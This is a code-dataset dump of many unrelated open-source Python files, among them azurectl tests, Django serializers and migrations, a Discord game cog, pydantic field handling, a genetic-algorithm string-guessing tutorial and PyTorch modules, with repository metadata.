hexsha stringlengths 40 40 | size int64 2 1.02M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 245 | max_stars_repo_name stringlengths 6 130 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 245 | max_issues_repo_name stringlengths 6 130 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 245 | max_forks_repo_name stringlengths 6 130 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 2 1.02M | avg_line_length float64 1 958k | max_line_length int64 1 987k | alphanum_fraction float64 0 1 | content_no_comment stringlengths 0 1.01M | is_comment_constant_removed bool 2
classes | is_sharp_comment_removed bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
f776409d2734393372a78a593381d03991dc3b93 | 3,861 | py | Python | test/unit/commands_base_test.py | SUSE/azurectl | 207bd2541e5ba6888f05e1095df42b2e62a93790 | [
"Apache-2.0"
] | 9 | 2015-06-01T17:16:56.000Z | 2018-07-10T06:15:59.000Z | test/unit/commands_base_test.py | SUSE/azurectl | 207bd2541e5ba6888f05e1095df42b2e62a93790 | [
"Apache-2.0"
] | 175 | 2015-05-18T14:40:02.000Z | 2018-03-06T10:27:49.000Z | test/unit/commands_base_test.py | SUSE/azurectl | 207bd2541e5ba6888f05e1095df42b2e62a93790 | [
"Apache-2.0"
] | 4 | 2015-07-16T06:26:14.000Z | 2017-01-18T17:19:57.000Z | from .test_helper import argv_kiwi_tests
import sys
import mock
from mock import patch
import logging
import azurectl
from azurectl.commands.base import CliTask
from azure.servicemanagement.models import Operation
from pytest import raises
class TestCliTask:
def teardown(self):
sys.argv = argv_kiwi_tests
... | 33.284483 | 76 | 0.607874 | from .test_helper import argv_kiwi_tests
import sys
import mock
from mock import patch
import logging
import azurectl
from azurectl.commands.base import CliTask
from azure.servicemanagement.models import Operation
from pytest import raises
class TestCliTask:
def teardown(self):
sys.argv = argv_kiwi_tests
... | true | true |
f77643cc2a2856caab78295a1dda076f733e8937 | 1,521 | py | Python | app/user/serializers.py | antoanish/recipe-app-api | 1522cbc84c1bc19b062e2b10e86f96dd8a9ebe7a | [
"MIT"
] | null | null | null | app/user/serializers.py | antoanish/recipe-app-api | 1522cbc84c1bc19b062e2b10e86f96dd8a9ebe7a | [
"MIT"
] | null | null | null | app/user/serializers.py | antoanish/recipe-app-api | 1522cbc84c1bc19b062e2b10e86f96dd8a9ebe7a | [
"MIT"
] | null | null | null | from django.contrib.auth import get_user_model, authenticate
from django.utils.translation import ugettext_lazy as _
from rest_framework import serializers
class UserSerializer(serializers.ModelSerializer):
'''Serializer for the users object'''
class Meta:
model = get_user_model()
fields = ('email', 'password',... | 29.823529 | 68 | 0.734385 | from django.contrib.auth import get_user_model, authenticate
from django.utils.translation import ugettext_lazy as _
from rest_framework import serializers
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = get_user_model()
fields = ('email', 'password', 'name')
extra_kwargs = {'password': ... | true | true |
f776456717247d25b391f8b10dee57ad8c869b9a | 1,598 | py | Python | handlers/PART.py | BWBellairs/Andromeda | e01f5cfef1e14e4f1f7e94d333c1dee5f44716d7 | [
"MIT"
] | null | null | null | handlers/PART.py | BWBellairs/Andromeda | e01f5cfef1e14e4f1f7e94d333c1dee5f44716d7 | [
"MIT"
] | null | null | null | handlers/PART.py | BWBellairs/Andromeda | e01f5cfef1e14e4f1f7e94d333c1dee5f44716d7 | [
"MIT"
] | null | null | null | import copy
import time
def on_part(irc, conn, event):
nick = event.source.nick
channel = event.target
if len(event.arguments) > 0:
reason = event.arguments[0]
else:
reason = ""
if event.source.nick == irc.get_nick():
for user in copy.deepcopy(irc.state["users"]):
... | 43.189189 | 75 | 0.578849 | import copy
import time
def on_part(irc, conn, event):
nick = event.source.nick
channel = event.target
if len(event.arguments) > 0:
reason = event.arguments[0]
else:
reason = ""
if event.source.nick == irc.get_nick():
for user in copy.deepcopy(irc.state["users"]):
... | true | true |
f77645f7076404c7924d940f3c76df655dbb585e | 650 | py | Python | website/recipients/migrations/0056_auto_20210303_0925.py | tibet5/website | 937e1941aaadbf7cd0a404a2655858451c01dd54 | [
"MIT"
] | null | null | null | website/recipients/migrations/0056_auto_20210303_0925.py | tibet5/website | 937e1941aaadbf7cd0a404a2655858451c01dd54 | [
"MIT"
] | null | null | null | website/recipients/migrations/0056_auto_20210303_0925.py | tibet5/website | 937e1941aaadbf7cd0a404a2655858451c01dd54 | [
"MIT"
] | null | null | null | # Generated by Django 3.1.2 on 2021-03-03 14:25
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('recipients', '0055_mealrequest_senior'),
]
operations = [
migrations.AlterField(
model_name='groceryrequest',
name='... | 34.210526 | 295 | 0.678462 |
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('recipients', '0055_mealrequest_senior'),
]
operations = [
migrations.AlterField(
model_name='groceryrequest',
name='food_allergies',
field=models.TextFi... | true | true |
f776460d862dbf6b5ff7d13f2a5037dc14539b30 | 5,514 | py | Python | code/code_AVA/extra/pose_test.py | pedro-abreu/twostream-attention | 60a47c50b8f2427911e5e30fd6c6f933dbf08a4e | [
"MIT"
] | 10 | 2018-10-26T05:19:15.000Z | 2019-02-02T03:39:29.000Z | code/code_AVA/extra/pose_test.py | pedro-abreu/twostream-attention | 60a47c50b8f2427911e5e30fd6c6f933dbf08a4e | [
"MIT"
] | 2 | 2018-11-14T05:03:56.000Z | 2019-02-19T09:06:52.000Z | code/code_AVA/extra/pose_test.py | pedro-abreu/twostream-attention | 60a47c50b8f2427911e5e30fd6c6f933dbf08a4e | [
"MIT"
] | 3 | 2018-11-14T05:12:24.000Z | 2019-03-02T15:01:15.000Z | import tensorflow as tf
import utils
import voting
from pose_model import pose_create_model, compile_model
from pose_data import load_split, get_AVA_set
import time
from keras import backend as K
import numpy as np
import pickle
def main():
root_dir = '../../data/AVA/files/'
# Load list of action classes an... | 41.458647 | 182 | 0.607363 | import tensorflow as tf
import utils
import voting
from pose_model import pose_create_model, compile_model
from pose_data import load_split, get_AVA_set
import time
from keras import backend as K
import numpy as np
import pickle
def main():
root_dir = '../../data/AVA/files/'
classes = utils.get_AVA_clas... | true | true |
f776465b566c23693ee74df5752b9260914c5db2 | 74,052 | py | Python | intersight/model/hyperflex_volume_relationship.py | CiscoDevNet/intersight-python | 04b721f37c3044646a91c185c7259edfb991557a | [
"Apache-2.0"
] | 5 | 2021-12-16T15:13:32.000Z | 2022-03-29T16:09:54.000Z | intersight/model/hyperflex_volume_relationship.py | CiscoDevNet/intersight-python | 04b721f37c3044646a91c185c7259edfb991557a | [
"Apache-2.0"
] | 4 | 2022-01-25T19:05:51.000Z | 2022-03-29T20:18:37.000Z | intersight/model/hyperflex_volume_relationship.py | CiscoDevNet/intersight-python | 04b721f37c3044646a91c185c7259edfb991557a | [
"Apache-2.0"
] | 2 | 2020-07-07T15:01:08.000Z | 2022-01-31T04:27:35.000Z | """
Cisco Intersight
Cisco Intersight is a management platform delivered as a service with embedded analytics for your Cisco and 3rd party IT infrastructure. This platform offers an intelligent level of management that enables IT organizations to analyze, simplify, and automate their environments in more advan... | 63.022979 | 1,678 | 0.657619 |
import re import sys
from intersight.model_utils import ( ApiTypeError,
ModelComposed,
ModelNormal,
ModelSimple,
cached_property,
change_keys_js_to_python,
convert_js_args_to_python_args,
date,
datetime,
file_type,
none_type,
validate_get_composed_info,
)
def lazy_... | true | true |
f776471c5616864be3e09b52ceb8a8f566a118da | 1,390 | py | Python | gui/widgets/checkbox.py | seelpro/micropython-micro-gui | 0d25d5cbb8b3c4de986471acaa8b354ef6982130 | [
"MIT"
] | 37 | 2021-06-07T11:38:32.000Z | 2022-03-31T23:18:18.000Z | gui/widgets/checkbox.py | seelpro/micropython-micro-gui | 0d25d5cbb8b3c4de986471acaa8b354ef6982130 | [
"MIT"
] | 10 | 2022-01-06T21:33:35.000Z | 2022-03-25T09:13:34.000Z | gui/widgets/checkbox.py | seelpro/micropython-micro-gui | 0d25d5cbb8b3c4de986471acaa8b354ef6982130 | [
"MIT"
] | 12 | 2021-06-29T03:28:48.000Z | 2022-03-31T23:35:52.000Z | # checkbox.py Extension to ugui providing the Checkbox class
# Released under the MIT License (MIT). See LICENSE.
# Copyright (c) 2019-2021 Peter Hinch
from gui.core.ugui import Widget, display
dolittle = lambda *_ : None
class Checkbox(Widget):
def __init__(self, writer, row, col, *, height=30, fillcolor=None,... | 36.578947 | 71 | 0.566906 |
from gui.core.ugui import Widget, display
dolittle = lambda *_ : None
class Checkbox(Widget):
def __init__(self, writer, row, col, *, height=30, fillcolor=None,
fgcolor=None, bgcolor=None, bdcolor=False,
callback=dolittle, args=[], value=False, active=True):
super().__i... | true | true |
f77647a262722b71c0dde6094cece39f8618b89a | 4,329 | py | Python | game.py | Laikaiyong/KY-Gor-Gor-Bot | 7046b0759af9af133fa48d75a77d1f8e40263fc8 | [
"MIT"
] | null | null | null | game.py | Laikaiyong/KY-Gor-Gor-Bot | 7046b0759af9af133fa48d75a77d1f8e40263fc8 | [
"MIT"
] | null | null | null | game.py | Laikaiyong/KY-Gor-Gor-Bot | 7046b0759af9af133fa48d75a77d1f8e40263fc8 | [
"MIT"
] | null | null | null | import discord
from discord.ext import commands
import random as rd
# Tic Tac Toe
player_one = ""
player_two = ""
turn = ""
game_over = True
board = []
winning_condition = [
[0, 1, 2],
[3, 4, 5],
[6, 7, 8],
[0, 3, 6],
[1, 4, 7],
[2, 5, 8],
[0, 4, 8],
[2, 4, 6]
]
class Game(commands.C... | 31.59854 | 119 | 0.500809 | import discord
from discord.ext import commands
import random as rd
player_one = ""
player_two = ""
turn = ""
game_over = True
board = []
winning_condition = [
[0, 1, 2],
[3, 4, 5],
[6, 7, 8],
[0, 3, 6],
[1, 4, 7],
[2, 5, 8],
[0, 4, 8],
[2, 4, 6]
]
class Game(commands.Cog):
def _... | true | true |
f77648d1a3b870077e09393bcc1c8e0c15b7ebe0 | 9,098 | py | Python | evaluation/meters/detection_meters.py | greatwallet/cosypose | e72ce7d521ef61870daef267cbbe65aaebe9d24d | [
"MIT"
] | null | null | null | evaluation/meters/detection_meters.py | greatwallet/cosypose | e72ce7d521ef61870daef267cbbe65aaebe9d24d | [
"MIT"
] | null | null | null | evaluation/meters/detection_meters.py | greatwallet/cosypose | e72ce7d521ef61870daef267cbbe65aaebe9d24d | [
"MIT"
] | null | null | null | import numpy as np
from sklearn.metrics import average_precision_score
import xarray as xr
import torchvision
import torch
from torch.utils.data import TensorDataset, DataLoader
from .base import Meter
from .utils import (match_poses, get_top_n_ids,
add_valid_gt, get_candidate_matches, add... | 43.32381 | 112 | 0.57672 | import numpy as np
from sklearn.metrics import average_precision_score
import xarray as xr
import torchvision
import torch
from torch.utils.data import TensorDataset, DataLoader
from .base import Meter
from .utils import (match_poses, get_top_n_ids,
add_valid_gt, get_candidate_matches, add... | true | true |
f77649651d8ea38d94039102482a6e5a67f2b053 | 1,984 | py | Python | apps/gridportal/base/Grid/.macros/page/ecos/1_ecos.py | Jumpscale/jumpscale_portal8 | 3a4d56a1ba985b68fe9b525aed2486a54808332f | [
"Apache-2.0"
] | null | null | null | apps/gridportal/base/Grid/.macros/page/ecos/1_ecos.py | Jumpscale/jumpscale_portal8 | 3a4d56a1ba985b68fe9b525aed2486a54808332f | [
"Apache-2.0"
] | 74 | 2015-12-28T16:17:20.000Z | 2021-09-08T12:28:59.000Z | apps/gridportal/base/Grid/.macros/page/ecos/1_ecos.py | Jumpscale/jumpscale_portal8 | 3a4d56a1ba985b68fe9b525aed2486a54808332f | [
"Apache-2.0"
] | null | null | null | import datetime
def main(j, args, params, tags, tasklet):
page = args.page
modifier = j.portal.tools.html.getPageModifierGridDataTables(page)
filters = dict()
for tag, val in args.tags.tags.items():
val = args.getTag(tag)
if tag == 'from' and val:
filters['from_'] = {'name'... | 34.807018 | 117 | 0.58619 | import datetime
def main(j, args, params, tags, tasklet):
page = args.page
modifier = j.portal.tools.html.getPageModifierGridDataTables(page)
filters = dict()
for tag, val in args.tags.tags.items():
val = args.getTag(tag)
if tag == 'from' and val:
filters['from_'] = {'name'... | true | true |
f77649a2ce2fe8cb9bf1d8223eae2a05e2ae6bee | 7,041 | py | Python | a_simple_algorithm_for_metamer_mismatch_bodies/metamer_mismatch_body.py | Chandler/color_science_papers | c43addd63d5dc9bc7ed5f093f60432c929d13b8a | [
"MIT"
] | 1 | 2018-10-18T10:36:46.000Z | 2018-10-18T10:36:46.000Z | a_simple_algorithm_for_metamer_mismatch_bodies/metamer_mismatch_body.py | Chandler/color_science_papers | c43addd63d5dc9bc7ed5f093f60432c929d13b8a | [
"MIT"
] | null | null | null | a_simple_algorithm_for_metamer_mismatch_bodies/metamer_mismatch_body.py | Chandler/color_science_papers | c43addd63d5dc9bc7ed5f093f60432c929d13b8a | [
"MIT"
] | null | null | null | import numpy as np
from scipy import optimize
from numpy.testing import assert_array_almost_equal as almost_equal
COLOR_DIMENSIONS = 3
LIGHT_DIMENSIONS = 31
# vector representing a light beam with power 1 at every wavelength
equal_energy_illumination_vector = [1] * LIGHT_DIMENSIONS
def assert_shape(m, shape):
i... | 41.175439 | 107 | 0.7097 | import numpy as np
from scipy import optimize
from numpy.testing import assert_array_almost_equal as almost_equal
COLOR_DIMENSIONS = 3
LIGHT_DIMENSIONS = 31
equal_energy_illumination_vector = [1] * LIGHT_DIMENSIONS
def assert_shape(m, shape):
if m.shape != shape:
raise ValueError("incorrect shape expecte... | true | true |
f7764aaa188863f61360e56e60395e940b207d1c | 43,498 | py | Python | pydantic/fields.py | AbooMinister25/pydantic | 6ad80cd402b64058c1366973d004817a8b462270 | [
"MIT"
] | 1 | 2022-01-29T03:15:35.000Z | 2022-01-29T03:15:35.000Z | pydantic/fields.py | AbooMinister25/pydantic | 6ad80cd402b64058c1366973d004817a8b462270 | [
"MIT"
] | null | null | null | pydantic/fields.py | AbooMinister25/pydantic | 6ad80cd402b64058c1366973d004817a8b462270 | [
"MIT"
] | null | null | null | from collections import Counter as CollectionCounter, defaultdict, deque
from collections.abc import Hashable as CollectionsHashable, Iterable as CollectionsIterable
from typing import (
TYPE_CHECKING,
Any,
Counter,
DefaultDict,
Deque,
Dict,
FrozenSet,
Generator,
Iterable,
Iterat... | 39.687956 | 120 | 0.607775 | from collections import Counter as CollectionCounter, defaultdict, deque
from collections.abc import Hashable as CollectionsHashable, Iterable as CollectionsIterable
from typing import (
TYPE_CHECKING,
Any,
Counter,
DefaultDict,
Deque,
Dict,
FrozenSet,
Generator,
Iterable,
Iterat... | true | true |
f7764ab64558b0ec85bb759caac9759be4ffc026 | 727 | py | Python | externals/pyglet-1.2.4/pyglet-1.2.4/tests/image/PIL_RGB_LOAD_NO_DECODER.py | Soulrez/psychsim-teamwork | 7c660a48c48664efcb863ba73bfbae2f5eb5566f | [
"MIT"
] | 1 | 2016-07-19T16:56:46.000Z | 2016-07-19T16:56:46.000Z | externals/pyglet-1.2.4/pyglet-1.2.4/tests/image/PIL_RGB_LOAD_NO_DECODER.py | Soulrez/psychsim-teamwork | 7c660a48c48664efcb863ba73bfbae2f5eb5566f | [
"MIT"
] | 1 | 2018-08-27T22:31:16.000Z | 2018-08-27T22:31:16.000Z | externals/pyglet-1.2.4/pyglet-1.2.4/tests/image/PIL_RGB_LOAD_NO_DECODER.py | Soulrez/psychsim-teamwork | 7c660a48c48664efcb863ba73bfbae2f5eb5566f | [
"MIT"
] | 1 | 2019-09-06T03:05:35.000Z | 2019-09-06T03:05:35.000Z | #!/usr/bin/env python
'''Test RGB load using PIL, decoder is not available and PYPNG decoder
is used. You should see the rgb.png image on a checkboard background.
'''
__docformat__ = 'restructuredtext'
__version__ = '$Id: $'
import unittest
import base_load
from pyglet.image.codecs.pil import Image, PILImageDecode... | 25.068966 | 78 | 0.763411 |
__docformat__ = 'restructuredtext'
__version__ = '$Id: $'
import unittest
import base_load
from pyglet.image.codecs.pil import Image, PILImageDecoder
from pyglet.image.codecs.png import PNGImageDecoder
from pyglet.image import codecs
def raise_error(obj, param):
raise Exception()
Image.Image.transpose = raise_... | true | true |
f7764b03e0af4d7a3c7ae37b4b9aff523e061241 | 1,071 | py | Python | bindings/python/tests/testdata/generate_tflite.py | schoppmp/iree | d573c3dbb4eef8044764ae6d80ca79e37e8de522 | [
"Apache-2.0"
] | 2 | 2021-10-03T15:58:09.000Z | 2021-11-17T10:34:35.000Z | bindings/python/tests/testdata/generate_tflite.py | schoppmp/iree | d573c3dbb4eef8044764ae6d80ca79e37e8de522 | [
"Apache-2.0"
] | null | null | null | bindings/python/tests/testdata/generate_tflite.py | schoppmp/iree | d573c3dbb4eef8044764ae6d80ca79e37e8de522 | [
"Apache-2.0"
] | null | null | null | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... | 28.945946 | 76 | 0.753501 |
import os
import tensorflow as tf
class Squared(tf.Module):
@tf.function
def __call__(self, x):
return tf.square(x)
model = Squared()
concrete_func = model.__call__.get_concrete_function(
tf.TensorSpec(shape=[4, 3], dtype=tf.float32))
converter = tf.lite.TFLiteConverter.from_concrete_functions([conc... | true | true |
f7764b95588b253dd924722329bbf5b1418dcbb2 | 1,104 | py | Python | pybullet-gym/pybulletgym/envs/roboschool/envs/locomotion/humanoid_flagrun_env.py | SmaleZ/vcl_diayn | b2c47a681675b405d2011bc4a43c3914f3af4ecc | [
"MIT"
] | null | null | null | pybullet-gym/pybulletgym/envs/roboschool/envs/locomotion/humanoid_flagrun_env.py | SmaleZ/vcl_diayn | b2c47a681675b405d2011bc4a43c3914f3af4ecc | [
"MIT"
] | null | null | null | pybullet-gym/pybulletgym/envs/roboschool/envs/locomotion/humanoid_flagrun_env.py | SmaleZ/vcl_diayn | b2c47a681675b405d2011bc4a43c3914f3af4ecc | [
"MIT"
] | null | null | null | from pybulletgym.envs.roboschool.envs.locomotion.humanoid_env import HumanoidBulletEnv
from pybulletgym.envs.roboschool.robots.locomotors import HumanoidFlagrun, HumanoidFlagrunHarder
class HumanoidFlagrunBulletEnv(HumanoidBulletEnv):
random_yaw = True
def __init__(self):
self.robot = HumanoidFlagrun... | 36.8 | 96 | 0.755435 | from pybulletgym.envs.roboschool.envs.locomotion.humanoid_env import HumanoidBulletEnv
from pybulletgym.envs.roboschool.robots.locomotors import HumanoidFlagrun, HumanoidFlagrunHarder
class HumanoidFlagrunBulletEnv(HumanoidBulletEnv):
random_yaw = True
def __init__(self):
self.robot = HumanoidFlagrun... | true | true |
f7764bc81774d29205599153e63e8c9a71471af5 | 4,696 | py | Python | ipetgui/EditableBrowser.py | stephenjmaher/ipet | 3a23d81ba6ed7cb41e86211cb0507170e8cd205a | [
"MIT"
] | 14 | 2016-12-20T06:49:32.000Z | 2021-05-12T11:17:27.000Z | ipetgui/EditableBrowser.py | stephenjmaher/ipet | 3a23d81ba6ed7cb41e86211cb0507170e8cd205a | [
"MIT"
] | 69 | 2016-12-15T16:37:27.000Z | 2021-08-16T10:12:36.000Z | ipetgui/EditableBrowser.py | stephenjmaher/ipet | 3a23d81ba6ed7cb41e86211cb0507170e8cd205a | [
"MIT"
] | 11 | 2016-12-30T07:46:18.000Z | 2021-10-09T02:34:45.000Z | """
Created on 21.09.2016
@author: bzfhende
"""
"""
Created on 26.03.2015
@author: bzfhende
"""
from PyQt4.QtGui import QFrame, QWidget, QLabel, \
QApplication, QKeySequence, QFileDialog, \
QVBoxLayout, QHBoxLayout
from .IPetTreeView import IpetTreeView
from .EditableForm import EditableForm
from PyQt4.QtCore... | 31.099338 | 100 | 0.693569 | from PyQt4.QtGui import QFrame, QWidget, QLabel, \
QApplication, QKeySequence, QFileDialog, \
QVBoxLayout, QHBoxLayout
from .IPetTreeView import IpetTreeView
from .EditableForm import EditableForm
from PyQt4.QtCore import Qt, SIGNAL
from ipet.evaluation.IPETEvalTable import IPETEvaluation, IPETEvaluationColumn
... | true | true |
f7764bd1b5e1dca64ff95e0144968c9a4434c89f | 3,095 | py | Python | test/functional/mining_getblocktemplate_longpoll.py | dapperlink/dappcoin | e495e4c59a71d4b1f174d68c9bf963a37f678d02 | [
"MIT"
] | 1 | 2021-06-19T12:07:59.000Z | 2021-06-19T12:07:59.000Z | test/functional/mining_getblocktemplate_longpoll.py | dapperlink/DappCoin | e495e4c59a71d4b1f174d68c9bf963a37f678d02 | [
"MIT"
] | null | null | null | test/functional/mining_getblocktemplate_longpoll.py | dapperlink/DappCoin | e495e4c59a71d4b1f174d68c9bf963a37f678d02 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) 2014-2017 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test longpolling with getblocktemplate."""
from test_framework.test_framework import DappcoinTestFrame... | 42.986111 | 112 | 0.682391 |
from test_framework.test_framework import DappcoinTestFramework
from test_framework.util import *
import threading
class LongpollThread(threading.Thread):
def __init__(self, node):
threading.Thread.__init__(self)
templat = node.getblocktemplate()
self.longpollid = templat['longpol... | true | true |
f7764d13643a0dba6c4a27c5bbe3910e6e262b3e | 10,477 | py | Python | docs/source/conf.py | gwaygenomics/bioconda-utils | f3d7e0dfc5c7cd2d9f92b903072b15dab757a262 | [
"MIT"
] | null | null | null | docs/source/conf.py | gwaygenomics/bioconda-utils | f3d7e0dfc5c7cd2d9f92b903072b15dab757a262 | [
"MIT"
] | null | null | null | docs/source/conf.py | gwaygenomics/bioconda-utils | f3d7e0dfc5c7cd2d9f92b903072b15dab757a262 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import datetime
import os
import sys
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown h... | 31.368263 | 89 | 0.703541 |
import datetime
import os
import sys
sys.path.insert(0, os.path.abspath('.'))
def setup(app):
app.add_stylesheet("style.css")
app.add_stylesheet("font-awesome-4.7.0/css/font-awesome.min.css")
extensions = [
'bioconda_utils.sphinxext',
'sphinx.ext.intersphinx',
'sphinx.ext.todo',
'sphinx... | true | true |
f7764e41ec80be37d51d0a61fd4c5edb5aecba29 | 3,916 | py | Python | Mosquito_vision.py | roobooot/dbscan | ceb99004d66a6665e206e067cb00c087b6eee99b | [
"MIT"
] | null | null | null | Mosquito_vision.py | roobooot/dbscan | ceb99004d66a6665e206e067cb00c087b6eee99b | [
"MIT"
] | null | null | null | Mosquito_vision.py | roobooot/dbscan | ceb99004d66a6665e206e067cb00c087b6eee99b | [
"MIT"
] | null | null | null | # -*-coding:utf-8-*-
"""
This is the whole code for the traditional method to do the detection for mosquitoes
@@author: Zeyu Lu, Guanqun Huang
"""
import cv2
import os
import MosquitoClass
def ChooseSource(FromVideo = False, FromImage = False):
if FromImage:
datapath = r'C:\Users\Zed_Luz\OneDrive\3-MEE\18... | 47.180723 | 137 | 0.664964 | import cv2
import os
import MosquitoClass
def ChooseSource(FromVideo = False, FromImage = False):
if FromImage:
datapath = r'C:\Users\Zed_Luz\OneDrive\3-MEE\18-JHU\12-Work\5-MosquitoRecog\7-data\train'
imglist = os.listdir(datapath)
imagename = imglist[21]
imgpath = os.path.join(dat... | true | true |
f7765050f2848205be9d4f15637f0d366338a4c8 | 10,994 | py | Python | gp_visualize_final_results.py | kcotar/Solar-spectral-siblings | 2c014bb76669c4c9a6085de831159d8b2d3883bf | [
"MIT"
] | null | null | null | gp_visualize_final_results.py | kcotar/Solar-spectral-siblings | 2c014bb76669c4c9a6085de831159d8b2d3883bf | [
"MIT"
] | null | null | null | gp_visualize_final_results.py | kcotar/Solar-spectral-siblings | 2c014bb76669c4c9a6085de831159d8b2d3883bf | [
"MIT"
] | null | null | null | from os import chdir
import numpy as np
import matplotlib.pyplot as plt
from astropy.table import Table, join
from glob import glob
in_dir = '/home/klemen/Solar-spectral-siblings/Distances_Step2_p0_SNRsamples1000_ext0_oklinesonly_origsamp_G20180327_C180325_multiabund_comb/'
chdir(in_dir)
galah_data_dir = '/home/kleme... | 101.796296 | 2,451 | 0.845552 | from os import chdir
import numpy as np
import matplotlib.pyplot as plt
from astropy.table import Table, join
from glob import glob
in_dir = '/home/klemen/Solar-spectral-siblings/Distances_Step2_p0_SNRsamples1000_ext0_oklinesonly_origsamp_G20180327_C180325_multiabund_comb/'
chdir(in_dir)
galah_data_dir = '/home/kleme... | false | true |
f776520879b3455ff830b7a052e9dfd0d8f9a06a | 1,720 | py | Python | Genetic-Tutorial/guess_password/bench_guess_test.py | hscspring/AI-Methods | dedec9ba0f1894135d51349504983133d4f823fa | [
"MIT"
] | 3 | 2020-04-07T09:25:34.000Z | 2022-01-24T01:59:29.000Z | Genetic-Tutorial/guess_password/bench_guess_test.py | hscspring/All4AI | dedec9ba0f1894135d51349504983133d4f823fa | [
"MIT"
] | null | null | null | Genetic-Tutorial/guess_password/bench_guess_test.py | hscspring/All4AI | dedec9ba0f1894135d51349504983133d4f823fa | [
"MIT"
] | null | null | null | # coding:utf-8
import datetime
import random
import unittest
import click
import bench_genetic
# @click.command()
# @click.option('--lens', help='Length of PassWord.')
class GuessPasswordTests(unittest.TestCase):
gene_set = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!."
def guess_hello(self):... | 30.714286 | 102 | 0.673256 |
import datetime
import random
import unittest
import click
import bench_genetic
class GuessPasswordTests(unittest.TestCase):
gene_set = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!."
def guess_hello(self):
target = "I LOVE YOU!"
(self.guess_pwd(target, 11))
def test_random... | true | true |
f776528f1d1d1f2a387fc8bd7b668f0443e2782a | 1,484 | py | Python | website/models/miniroundscore.py | czhu1217/cmimc-online | 5ef49ceec0bb86d8ae120a6ecfd723532e277821 | [
"MIT"
] | null | null | null | website/models/miniroundscore.py | czhu1217/cmimc-online | 5ef49ceec0bb86d8ae120a6ecfd723532e277821 | [
"MIT"
] | 1 | 2022-01-23T21:08:12.000Z | 2022-01-23T21:08:12.000Z | website/models/miniroundscore.py | czhu1217/cmimc-online | 5ef49ceec0bb86d8ae120a6ecfd723532e277821 | [
"MIT"
] | 1 | 2021-10-17T17:11:42.000Z | 2021-10-17T17:11:42.000Z | from django.db import models
from .score import Score
from .exam import Exam
from .competitor import Competitor
# Only used for AI Round
class MiniRoundScore(models.Model):
score = models.ForeignKey(Score, related_name="miniroundscores", on_delete=models.CASCADE)
miniround = models.IntegerField()
points = ... | 34.511628 | 116 | 0.712264 | from django.db import models
from .score import Score
from .exam import Exam
from .competitor import Competitor
class MiniRoundScore(models.Model):
score = models.ForeignKey(Score, related_name="miniroundscores", on_delete=models.CASCADE)
miniround = models.IntegerField()
points = models.FloatField(default... | true | true |
f776529ac8fb0d71e798ecc4d71123b72175d1b9 | 4,776 | py | Python | docsrc/conf.py | letian-jiang/TRTorch | 1cbc27c8a401733c82c42ff0d23cbf760701fda4 | [
"BSD-3-Clause"
] | null | null | null | docsrc/conf.py | letian-jiang/TRTorch | 1cbc27c8a401733c82c42ff0d23cbf760701fda4 | [
"BSD-3-Clause"
] | null | null | null | docsrc/conf.py | letian-jiang/TRTorch | 1cbc27c8a401733c82c42ff0d23cbf760701fda4 | [
"BSD-3-Clause"
] | null | null | null | # Configuration file for the Sphinx documentation builder.
#
# This file only contains a selection of the most common options. For a full
# list see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html
# -- Path setup --------------------------------------------------------------
# If ex... | 34.608696 | 95 | 0.66876 |
import os
import sys
sys.path.append(os.path.join(os.path.dirname(__name__), '../py'))
import sphinx_material
project = 'TRTorch'
copyright = '2021, NVIDIA Corporation'
author = 'NVIDIA Corporation'
release = 'master'
extensions = [
'breathe',
'exhale',
'nbsphinx',
'sphinx.ext.napoleon',
'sp... | true | true |
f776530b6089513118bc815cbfa1cfd8dbca9b2b | 1,259 | py | Python | pytorch_wrapper/modules/residual.py | skatsaounis/pytorch-wrapper | 57c85161bd6e09961cb7a1e69debc8e3e0bf7d29 | [
"MIT"
] | 111 | 2018-12-11T08:59:20.000Z | 2022-03-16T23:52:26.000Z | pytorch_wrapper/modules/residual.py | skatsaounis/pytorch-wrapper | 57c85161bd6e09961cb7a1e69debc8e3e0bf7d29 | [
"MIT"
] | 1 | 2020-04-16T14:21:47.000Z | 2020-04-16T14:21:47.000Z | pytorch_wrapper/modules/residual.py | skatsaounis/pytorch-wrapper | 57c85161bd6e09961cb7a1e69debc8e3e0bf7d29 | [
"MIT"
] | 24 | 2018-12-11T13:36:01.000Z | 2022-03-16T23:52:55.000Z | import torch.nn as nn
class Residual(nn.Module):
"""
Adds the input of a module to it's output.
"""
def __init__(self,
module,
residual_index=None,
model_output_key=None):
"""
:param module: The module to wrap.
